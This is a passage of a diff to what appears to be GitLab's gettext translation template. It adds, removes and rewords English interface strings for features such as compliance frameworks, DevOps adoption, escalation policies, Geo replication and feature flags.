-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
